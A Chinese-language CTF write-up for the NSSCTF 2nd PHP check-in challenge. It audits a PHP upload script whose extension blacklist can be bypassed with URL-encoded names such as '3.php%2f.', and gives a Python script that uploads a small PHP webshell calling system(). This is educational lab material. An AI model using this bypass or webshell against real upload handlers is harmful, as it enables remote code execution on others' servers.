【NSSCTF 2nd】php签到

Contents

[NSSCTF 2nd]php签到

思路

  • 源码

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
      <?php
    
    function waf($filename){
        $black_list = array("ph", "htaccess", "ini");
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
        foreach ($black_list as $value) {
            if (stristr($ext, $value)){
                return false;
            }
        }
        return true;
    }
    
    if(isset($_FILES['file'])){
        $filename = urldecode($_FILES['file']['name']);
        $content = file_get_contents($_FILES['file']['tmp_name']);
        if(waf($filename)){
            file_put_contents($filename, $content);
        } else {
            echo "Please re-upload";
        }
    } else{
        highlight_file(__FILE__);
    } 
  • 代码审计

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    function waf($filename){
        $black_list = array("ph", "htaccess", "ini");
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
        foreach ($black_list as $value) {
            if (stristr($ext, $value)){
                return false;
            }
        }
        return true;
    } 

    黑名单说明不能使用

    • pathinfo 函数用于获取文件路径的信息,包括目录名,文件名,扩展名等
    • htaccess
    • user.ini
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    if(isset($_FILES['file'])){
        $filename = urldecode($_FILES['file']['name']);
        $content = file_get_contents($_FILES['file']['tmp_name']);
        if(waf($filename)){
            file_put_contents($filename, $content);
        } else {
            echo "Please re-upload";
        }
    } else{
        highlight_file(__FILE__);
    }

    $_FILES['file'] 可以判断是要上传文件,但是页面没有给出上传文件的选项,因此需要手动上传表单文件

    $_FILES['file']['name'] 就是上传的文件名信息,会先被url解码然后赋值给$filename

    $_FILES['file']['tmp_name'] 是上传的文件的临时存储路径信息,例如 /var/www/html/1.php

    $content 会读取上传的文件里面的内容 如果$filename满足waf()函数要求,就把$content内容 写入文件$filename

  • 绕过对文件名的限制

    使用1.php/.在linux中会被识别为在1.php中创建.文件

    或者1.php.后面时空字符就绕过了

  • 脚本上传文件

    1
    2
    3
    4
    5
    6
    7
    
    import requests
    
    url = 'http://node5.anna.nssctf.cn:23626/'  # 上传文件地址
    file_content = "<?php system(env); ?>"
    files = {'file': ('3.php%2f.', file_content)}
    response = requests.post(url=url, files=files)
    print(response.text)
  • 直接访问对应的php文件,则直接可以看到结果

总结

  • 文件上传
0%